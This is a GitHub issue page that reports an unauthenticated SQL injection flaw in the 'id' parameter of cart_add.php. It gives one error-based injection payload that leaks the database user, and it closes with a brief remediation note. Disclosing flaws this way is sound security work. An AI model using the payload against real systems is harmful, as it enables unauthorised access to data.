Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL Injection vulnerability via the "id" parameter in cart_add.php #3

Open
wangqiao258 opened this issue Dec 28, 2021 · 0 comments
Open

Comments

@wangqiao258
Copy link

  • Version: 1.0

No login is required
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT (ELT(1=1,user()))),0x7e)) AND 'a'='a
image

Source code review
image

Remediation
Validate input of idparameter in cart_add.php.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant